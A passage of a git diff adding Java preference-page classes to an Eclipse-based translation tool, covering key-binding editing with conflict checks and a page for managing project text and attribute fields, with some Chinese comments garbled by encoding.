(ConflictModel.PROP_CONFLICTS.equals(event.getProperty())) { + // // lstConflict.clear(); + // if (event.getNewValue() != null) { + // lstConflict.addAll((Collection) event.getNewValue()); + // } + // // conflictViewer.setInput(event.getNewValue()); + // } else if (ConflictModel.PROP_CONFLICTS_ADD.equals(event.getProperty())) { + // if (event.getNewValue() != null) { + // lstConflict.add(event.getNewValue()); + // } + // // conflictViewer.add(event.getNewValue()); + // } else if (ConflictModel.PROP_CONFLICTS_REMOVE.equals(event.getProperty())) { + // // conflictViewer.remove(event.getNewValue()); + // if (event.getNewValue() != null) { + // lstConflict.remove(event.getNewValue()); + // } + // } + // } else { + // lstConflict.clear(); + // } + // // if (event.getSource() == keyController.getConflictModel() + // // && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + // // if (keyController.getConflictModel().getConflicts() != null) { + // // Object newVal = event.getNewValue(); + // // StructuredSelection structuredSelection = newVal == null ? null : new StructuredSelection( + // // newVal); + // // // conflictViewer.setSelection(structuredSelection, true); + // // } + // // } else if (ConflictModel.PROP_CONFLICTS.equals(event.getProperty())) { + // // // lstConflict.clear(); + // // if (event.getNewValue() != null) { + // // lstConflict.addAll((Collection) event.getNewValue()); + // // } + // // // conflictViewer.setInput(event.getNewValue()); + // // } else if (ConflictModel.PROP_CONFLICTS_ADD.equals(event.getProperty())) { + // // if (event.getNewValue() != null) { + // // lstConflict.clear(); + // // lstConflict.add(event.getNewValue()); + // // } + // // // conflictViewer.add(event.getNewValue()); + // // } else if (ConflictModel.PROP_CONFLICTS_REMOVE.equals(event.getProperty())) { + // // // conflictViewer.remove(event.getNewValue()); + // // if (event.getNewValue() != null) { + // // lstConflict.clear(); + // // lstConflict.remove(event.getNewValue()); + // // } + // // } + // } + // }; + // keyController.addPropertyChangeListener(conflictsListener); + + IPropertyChangeListener dataUpdateListener = new IPropertyChangeListener() { + + public void propertyChange(PropertyChangeEvent event) { + BindingElement bindingElement = null; + boolean weCare = false; + if (event.getSource() == model + && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + bindingElement = (BindingElement) event.getNewValue(); + weCare = true; + } else if (event.getSource() == model.getSelectedElement() + && ModelElement.PROP_MODEL_OBJECT.equals(event.getProperty())) { + bindingElement = (BindingElement) event.getSource(); + weCare = true; + } + if (bindingElement == null && weCare) { + fBindingText.setText(""); //$NON-NLS-1$ + } else if (bindingElement != null) { + KeySequence trigger = (KeySequence) bindingElement.getTrigger(); + fKeySequenceText.setKeySequence(trigger); + } + } + }; + keyController.addPropertyChangeListener(dataUpdateListener); + } + + List lstConflict = new ArrayList(); + + Text fBindingText; + + class TableViewerEditingSupport extends EditingSupport { + + int column; + private TreeViewer columnViewer; + private CellEditor editor; + + public TableViewerEditingSupport(ColumnViewer viewers, int column) { + super(viewers); + this.columnViewer = (TreeViewer) viewers; + if (column == 1) { + editor = new TextCellEditor(columnViewer.getTree(), SWT.SINGLE | SWT.BORDER) { + protected Control createControl(Composite parent) { + super.createControl(parent); + fBindingText = text; + text.addFocusListener(new FocusListener() { + public void focusGained(FocusEvent e) { + fBindingService.setKeyFilterEnabled(false); + } + + public void focusLost(FocusEvent e) { + fBindingService.setKeyFilterEnabled(true); + } + }); + text.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + if (!fBindingService.isKeyFilterEnabled()) { + fBindingService.setKeyFilterEnabled(true); + } + } + }); + fKeySequenceText = new KeySequenceText(text); + fKeySequenceText.setKeyStrokeLimit(1); + fKeySequenceText.addPropertyChangeListener(new IPropertyChangeListener() { + public final void propertyChange(final PropertyChangeEvent event) { + if (!event.getOldValue().equals(event.getNewValue())) { + final KeySequence keySequence = fKeySequenceText.getKeySequence(); + if (!keySequence.isComplete()) { + return; + } + // BindingElement activeBinding = (BindingElement) + // model.getSelectedElement(); + // if (activeBinding != null) { + // activeBinding.setTrigger(keySequence); + // } + // changeBackground(); + text.setSelection(0, text.getText().length()); + // isValid(); + } + } + }); + return text; + } + + }; + } + this.column = column; + } + + @Override + protected boolean canEdit(Object element) { + return true; + } + + @Override + protected CellEditor getCellEditor(Object element) { + return editor; + } + + @Override + protected Object getValue(Object element) { + // System.out.println(element); + BindingElement bindingElement = ((BindingElement) element); + TriggerSequence seq = bindingElement.getTrigger(); + return seq == null ? Util.ZERO_LENGTH_STRING : seq.format(); + } + + @Override + protected void setValue(Object element, Object value) { + if (column == 1) { + // BindingElement activeBinding = (BindingElement) model.getSelectedElement(); + BindingElement activeBinding = (BindingElement) element; + if (activeBinding != null) { + KeySequence keySequence = fKeySequenceText.getKeySequence(); +// Bug #2740 + if (keySequence == null || !keySequence.toString().endsWith("+")) { + activeBinding.setTrigger(keySequence); + } + } + changeBackground(); + // isValid(); + } + } + } + + public boolean validateConflict() { + for (TreeItem item : viewer.getTree().getItems()) { + BindingElement element = (BindingElement) item.getData(); + if (element.getConflict()) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.KeysPreferencePage.msgTitle"), + Messages.getString("preferencepage.KeysPreferencePage.msg")); + // setValid(false); + return false; + } + } + // setValid(true); + return true; + } + + public void applyData(Object data) { + // if (!validate()) { + // return; + // } + if (data instanceof ModelElement) { + model.setSelectedElement((ModelElement) data); + } + if (data instanceof Binding && fFilteredTree != null) { + BindingElement be = (BindingElement) model.getBindingToElement().get(data); + fFilteredTree.getViewer().setSelection(new StructuredSelection(be), true); + } + if (data instanceof ParameterizedCommand) { + Map commandToElement = model.getCommandToElement(); + + BindingElement be = (BindingElement) commandToElement.get(data); + if (be != null) { + fFilteredTree.getViewer().setSelection(new StructuredSelection(be), true); + } + } + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.preference.PreferencePage#performOk() + */ + public boolean performOk() { + if (!validateConflict()) { + return false; + } + keyController.saveBindings(fBindingService); + saveState(getDialogSettings()); + return super.performOk(); + } + + /** + * Save the state of the receiver. + * @param dialogSettings + */ + public void saveState(IDialogSettings dialogSettings) { + if (dialogSettings == null) { + return; + } + dialogSettings.put(TAG_FILTER_ACTION_SETS, fFilterActionSetContexts); + dialogSettings.put(TAG_FILTER_INTERNAL, fFilterInternalContexts); + dialogSettings.put(TAG_FILTER_UNCAT, fFilteredTree.isFilteringCategories()); + } + + protected IDialogSettings getDialogSettings() { + IDialogSettings workbenchSettings = WorkbenchPlugin.getDefault().getDialogSettings(); + + IDialogSettings settings = workbenchSettings.getSection(TAG_DIALOG_SECTION); + + if (settings == null) { + settings = workbenchSettings.addNewSection(TAG_DIALOG_SECTION); + } + return settings; + } + + protected void performDefaults() { + + // Ask the user to confirm + final String title = NewKeysPreferenceMessages.RestoreDefaultsMessageBoxText; + final String message = NewKeysPreferenceMessages.RestoreDefaultsMessageBoxMessage; + final boolean confirmed = MessageDialog.open(MessageDialog.CONFIRM, getShell(), title, message, SWT.SHEET); + + if (confirmed) { + long startTime = 0L; + if (DEBUG) { + startTime = System.currentTimeMillis(); + } + + fFilteredTree.setRedraw(false); + BusyIndicator.showWhile(fFilteredTree.getViewer().getTree().getDisplay(), new Runnable() { + public void run() { + try { + keyController.setDefaultBindings(fBindingService, lstRemove); + } catch (NotDefinedException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + }); + fFilteredTree.setRedraw(true); + if (DEBUG) { + final long elapsedTime = System.currentTimeMillis() - startTime; + Tracing.printTrace(TRACING_COMPONENT, "performDefaults:model in " //$NON-NLS-1$ + + elapsedTime + "ms"); //$NON-NLS-1$ + } + } + + super.performDefaults(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ProjectPreferenceInitializer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ProjectPreferenceInitializer.java new file mode 100644 index 0000000..748f5d5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ProjectPreferenceInitializer.java @@ -0,0 +1,32 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; + +/** + * 首选项的项目属性设置默认值的类 + * @author peason + * @version + * @since JDK1.6 + */ +public class ProjectPreferenceInitializer extends AbstractPreferenceInitializer { + + @Override + public void initializeDefaultPreferences() { +// IPreferenceStore store = Activator.getDefault().getPreferenceStore(); +//// åˆå§‹åŒ–文本字段值 +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.fieldCount", 3); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.field0", "Job#"); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.field1", "ProjectInfo"); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.field2", "TestNo"); +// +//// åˆå§‹åŒ–属性字段 +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrNameCount", 1); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName0", "End Client"); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName0.count", 4); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName0.attrVal0", "End Client"); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName0.attrVal1", "Test Field Value"); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName0.attrVal2", "Field Value"); +// store.setDefault("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName0.attrVal3", "China"); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ProjectPropertiesPreferencePage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ProjectPropertiesPreferencePage.java new file mode 100644 index 0000000..a36a1a5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/ProjectPropertiesPreferencePage.java @@ -0,0 +1,648 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map.Entry; +import java.util.Set; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.dialog.InputDialog; +import net.heartsome.cat.ts.ui.resource.Messages; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IInputValidator; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.util.Util; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.List; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * é¡¹ç›®å±žæ€§è®¾ç½®çš„é¦–é€‰é¡¹é¡µé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class ProjectPropertiesPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage"; + + private IPreferenceStore preferenceStore; + + /** 文本字段 List */ + private List fieldList; + + /** 文本字段添加按钮 */ + private Button btnFieldAdd; + + /** 文本字段编辑按钮 */ + private Button btnFieldEdit; + + /** 文本字段删除按钮 */ + private Button btnFieldDel; + + /** 属性字段 List */ + private List attrNameList; + + /** 属性字段添加按钮 */ + private Button btnAttrNameAdd; + + /** 属性字段编辑按钮 */ + private Button btnAttrNameEdit; + + /** 属性字段删除按钮 */ + private Button btnAttrNameDel; + + /** 属性值字段 List */ + private List attrValList; + + /** 属性值字段添加按钮 */ + private Button btnAttrValAdd; + + /** 属性值字段编辑按钮 */ + private Button btnAttrValEdit; + + /** 属性值字段删除按钮 */ + private Button btnAttrValDel; + + /** key 为属性字段å称, value 为对应的属性值集åˆï¼Œå½“对 attrNameList å’Œ attrValList 进行添加,删除æ“作时,è¦æ›´æ–°æ­¤é›†åˆï¼Œä¾¿äºŽä¿å­˜ */ + private HashMap> mapAttr = new HashMap>(); + + public ProjectPropertiesPreferencePage() { + setTitle(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group groupField = new Group(tparent, SWT.NONE); + groupField.setLayout(new GridLayout()); + groupField.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupField.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.groupField")); + + HsImageLabel imageLabel1 = new HsImageLabel( + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.imageLabel1"), + Activator.getImageDescriptor("images/preference/projectProperties/field_32.png")); + Composite cmpField = imageLabel1.createControl(groupField); + cmpField.setLayout(new GridLayout(2, false)); + cmpField.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Label lbl = new Label(cmpField, SWT.None); + lbl.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.lblField")); + GridDataFactory.swtDefaults().span(2, 1).applyTo(lbl); + fieldList = new List(cmpField, SWT.MULTI | SWT.V_SCROLL | SWT.H_SCROLL | SWT.BORDER); + GridData listData = new GridData(); + listData.widthHint = 130; + if (Util.isLinux()) { + listData.heightHint = 150; + } else { + listData.heightHint = 80; + } + fieldList.setLayoutData(listData); + Composite cmpFieldBtn = new Composite(cmpField, SWT.None); + cmpFieldBtn.setLayout(new GridLayout()); + cmpFieldBtn.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + btnFieldAdd = new Button(cmpFieldBtn, SWT.None); + btnFieldAdd.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnFieldAdd")); + btnFieldEdit = new Button(cmpFieldBtn, SWT.None); + btnFieldEdit.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnFieldEdit")); + btnFieldDel = new Button(cmpFieldBtn, SWT.None); + btnFieldDel.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnFieldDel")); + Point fieldAddPoint = btnFieldAdd.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point fieldEditPoint = btnFieldEdit.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point fieldDelPoint = btnFieldDel.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + GridData btnData = new GridData(); + int width = Math.max(fieldEditPoint.x, Math.max(fieldAddPoint.x, fieldDelPoint.x)); + btnData.widthHint = width + 10; + btnFieldAdd.setLayoutData(btnData); + btnFieldEdit.setLayoutData(btnData); + btnFieldDel.setLayoutData(btnData); + + Group groupAttr = new Group(tparent, SWT.NONE); + groupAttr.setLayout(new GridLayout()); + groupAttr.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupAttr.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.groupAttr")); + + HsImageLabel imageLabel2 = new HsImageLabel( + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.imageLabel2"), + Activator.getImageDescriptor("images/preference/projectProperties/attribute_32.png")); + Composite cmpAttr = imageLabel2.createControl(groupAttr); + cmpAttr.setLayout(new GridLayout(4, false)); + cmpAttr.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + lbl = new Label(cmpAttr, SWT.None); + lbl.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.lblAttrName")); + GridDataFactory.swtDefaults().span(2, 1).applyTo(lbl); + lbl = new Label(cmpAttr, SWT.None); + lbl.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.lblAttrVal")); + GridDataFactory.swtDefaults().span(2, 1).applyTo(lbl); + attrNameList = new List(cmpAttr, SWT.SINGLE | SWT.V_SCROLL | SWT.H_SCROLL | SWT.BORDER); + attrNameList.setLayoutData(listData); + Composite cmpAttrNameBtn = new Composite(cmpAttr, SWT.None); + cmpAttrNameBtn.setLayout(new GridLayout()); + cmpAttrNameBtn.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + btnAttrNameAdd = new Button(cmpAttrNameBtn, SWT.None); + btnAttrNameAdd.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnAttrNameAdd")); + btnAttrNameEdit = new Button(cmpAttrNameBtn, SWT.None); + btnAttrNameEdit.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnAttrNameEdit")); + btnAttrNameDel = new Button(cmpAttrNameBtn, SWT.None); + btnAttrNameDel.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnAttrNameDel")); + Point atrrNameAddPoint = btnAttrNameAdd.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point atrrNameEditPoint = btnAttrNameEdit.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point atrrNameDelPoint = btnAttrNameDel.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + btnData = new GridData(); + width = Math.max(atrrNameEditPoint.x, Math.max(atrrNameAddPoint.x, atrrNameDelPoint.x)); + btnData.widthHint = width + 10; + btnAttrNameAdd.setLayoutData(btnData); + btnAttrNameEdit.setLayoutData(btnData); + btnAttrNameDel.setLayoutData(btnData); + + attrValList = new List(cmpAttr, SWT.MULTI | SWT.V_SCROLL | SWT.H_SCROLL | SWT.BORDER); + attrValList.setLayoutData(listData); + Composite cmpAttrValBtn = new Composite(cmpAttr, SWT.None); + cmpAttrValBtn.setLayout(new GridLayout()); + cmpAttrValBtn.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + btnAttrValAdd = new Button(cmpAttrValBtn, SWT.None); + btnAttrValAdd.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnAttrValAdd")); + btnAttrValEdit = new Button(cmpAttrValBtn, SWT.None); + btnAttrValEdit.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnAttrValEdit")); + btnAttrValDel = new Button(cmpAttrValBtn, SWT.None); + btnAttrValDel.setText(Messages.getString("preferencepage.ProjectPropertiesPreferencePage.btnAttrValDel")); + Point atrrValAddPoint = btnAttrValAdd.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point atrrValEditPoint = btnAttrValEdit.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point atrrValDelPoint = btnAttrValDel.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + btnData = new GridData(); + width = Math.max(atrrValEditPoint.x, Math.max(atrrValAddPoint.x, atrrValDelPoint.x)); + btnData.widthHint = width + 10; + btnAttrValAdd.setLayoutData(btnData); + btnAttrValEdit.setLayoutData(btnData); + btnAttrValDel.setLayoutData(btnData); + + imageLabel1.computeSize(-100); + imageLabel2.computeSize(-100); + + initListener(); + setValue(false); + return parent; + } + + @Override + protected void performDefaults() { + setValue(true); + super.performDefaults(); + } + + @Override + public boolean performOk() { + // ä¿å­˜æ–‡æœ¬å­—段 + String[] arrField = fieldList.getItems(); + preferenceStore.setValue("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.fieldCount", + arrField.length); + for (int i = 0; i < arrField.length; i++) { + preferenceStore.setValue( + "net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.field" + i, arrField[i]); + } + + // ä¿å­˜å±žæ€§å­—段 + preferenceStore.setValue( + "net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrNameCount", mapAttr.size()); + Iterator>> it = mapAttr.entrySet().iterator(); + int nameIndex = 0; + while (it.hasNext()) { + Entry> entry = (Entry>) it.next(); + preferenceStore.setValue("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + nameIndex, entry.getKey()); + ArrayList lstValue = entry.getValue(); + preferenceStore.setValue("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + nameIndex + ".count", lstValue.size()); + for (int j = 0; j < lstValue.size(); j++) { + preferenceStore.setValue( + "net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + nameIndex + + ".attrVal" + j, lstValue.get(j)); + } + nameIndex++; + } + return super.performOk(); + } + + private void setValue(boolean isApplyDefault) { + if (isApplyDefault) { + int fieldCount = preferenceStore + .getDefaultInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.fieldCount"); + if (fieldCount > 0) { + String[] arrField = new String[fieldCount]; + for (int i = 0; i < fieldCount; i++) { + arrField[i] = preferenceStore + .getDefaultString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.field" + + i); + } + fieldList.setItems(arrField); + } else { + fieldList.removeAll(); + } + + int attrNameCount = preferenceStore + .getDefaultInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrNameCount"); + if (attrNameCount > 0) { + String[] arrAttrName = new String[attrNameCount]; + for (int i = 0; i < attrNameCount; i++) { + arrAttrName[i] = preferenceStore + .getDefaultString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + i); + int attrValCount = preferenceStore + .getDefaultInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + i + ".count"); + String[] arrAttrVal = new String[attrValCount]; + if (attrValCount > 0) { + for (int j = 0; j < attrValCount; j++) { + arrAttrVal[j] = preferenceStore + .getDefaultString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + i + ".attrVal" + j); + } + } + if (i == 0) { + attrValList.setItems(arrAttrVal); + attrValList.select(0); + } + mapAttr.put(arrAttrName[i], new ArrayList(Arrays.asList(arrAttrVal))); + } + attrNameList.setItems(arrAttrName); + attrNameList.select(0); + } else { + attrNameList.removeAll(); + attrValList.removeAll(); + mapAttr.clear(); + } + } else { + ArrayList lstField = PreferenceUtil.getProjectFieldList(); + fieldList.setItems(lstField.toArray(new String[lstField.size()])); + + mapAttr = PreferenceUtil.getProjectAttributeMap(); + Set setAttrName = mapAttr.keySet(); + attrNameList.setItems(setAttrName.toArray(new String[setAttrName.size()])); + if (setAttrName.size() > 0) { + attrNameList.select(0); + ArrayList lstAttrVal = mapAttr.get(attrNameList.getItem(0)); + attrValList.setItems(lstAttrVal.toArray(new String[lstAttrVal.size()])); + if (lstAttrVal.size() > 0) { + attrValList.select(0); + } + } + } + } + + private final int FIELD_ADD = 1; + + private final int ATTRNAME_ADD = 2; + + private final int ATTRVAL_ADD = 3; + + private void initListener() { + btnFieldAdd.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + String[] arrField = fieldList.getItems(); + InputDialog dialog = new InputDialog(getShell(), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.title1"), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl1"), null, + new InputValidator(FIELD_ADD, new ArrayList(Arrays.asList(arrField)))); + if (dialog.open() == IDialogConstants.OK_ID) { + String fieldVal = dialog.getValue(); + fieldList.add(fieldVal.trim()); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnFieldEdit.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (fieldList.getSelectionCount() <= 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg10")); + return; + } else if (fieldList.getSelectionCount() > 1) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg11")); + return; + } else { + int selIndex = fieldList.getSelectionIndex(); + String selVal = fieldList.getSelection()[0]; + ArrayList lstField = new ArrayList(Arrays.asList(fieldList.getItems())); + lstField.remove(selVal); + InputDialog dialog = new InputDialog(getShell(), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.title4"), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl1"), selVal, + new InputValidator(FIELD_ADD, lstField)); + if (dialog.open() == IDialogConstants.OK_ID) { + String fieldVal = dialog.getValue().trim(); + fieldList.remove(selIndex); + fieldList.add(fieldVal, selIndex); + fieldList.select(selIndex); + } + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnFieldDel.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (fieldList.getSelectionCount() == 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg8")); + return; + } + if (MessageDialog.openConfirm(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle1"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg1"))) { + fieldList.remove(fieldList.getSelectionIndices()); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + attrNameList.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (attrNameList.getSelectionCount() > 0) { + String strSel = attrNameList.getSelection()[0]; + ArrayList lstAttrVal = mapAttr.get(strSel); + attrValList.removeAll(); + attrValList.setItems(lstAttrVal.toArray(new String[lstAttrVal.size()])); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnAttrNameAdd.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + String[] arrAttrName = attrNameList.getItems(); + InputDialog dialog = new InputDialog(getShell(), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.title2"), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl2"), null, + new InputValidator(ATTRNAME_ADD, new ArrayList(Arrays.asList(arrAttrName)))); + if (dialog.open() == IDialogConstants.OK_ID) { + String attrName = dialog.getValue().trim(); + attrNameList.add(attrName); + mapAttr.put(attrName, new ArrayList()); + attrNameList.setSelection(new String[]{attrName}); + attrValList.removeAll(); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnAttrNameEdit.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (attrNameList.getSelectionCount() <= 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg10")); + return; + } else if (attrNameList.getSelectionCount() > 1) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg11")); + return; + } else { + int selIndex = attrNameList.getSelectionIndex(); + String selVal = attrNameList.getSelection()[0]; + ArrayList lstAttrVal = mapAttr.get(selVal); + ArrayList lstAttrName = new ArrayList(Arrays.asList(attrNameList.getItems())); + lstAttrName.remove(selVal); + InputDialog dialog = new InputDialog(getShell(), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.title5"), Messages + .getString("preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl2"), selVal, + new InputValidator(ATTRNAME_ADD, lstAttrName)); + if (dialog.open() == IDialogConstants.OK_ID) { + String attrNameVal = dialog.getValue().trim(); + attrNameList.remove(selIndex); + attrNameList.add(attrNameVal, selIndex); + attrNameList.select(selIndex); + mapAttr.remove(selVal); + mapAttr.put(attrNameVal, lstAttrVal); + } + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnAttrNameDel.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (attrNameList.getSelectionCount() == 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg8")); + return; + } + if (MessageDialog.openConfirm(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle1"), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msg1"))) { + String[] arrSelName = attrNameList.getSelection(); + for (String attrName : arrSelName) { + mapAttr.remove(attrName); + } + attrNameList.remove(attrNameList.getSelectionIndices()); + if (attrNameList.getSelectionCount() > 0) { + String strSel = attrNameList.getSelection()[0]; + ArrayList lstAttrVal = mapAttr.get(strSel); + attrValList.removeAll(); + attrValList.setItems(lstAttrVal.toArray(new String[lstAttrVal.size()])); + } else { + attrValList.removeAll(); + } + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnAttrValAdd.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (attrNameList.getSelectionCount() != 1) { + MessageDialog.openInformation(getShell(), + Messages.getString("preferencepage.ProjectPropertiesPreferencePage.msgTitle2"), + 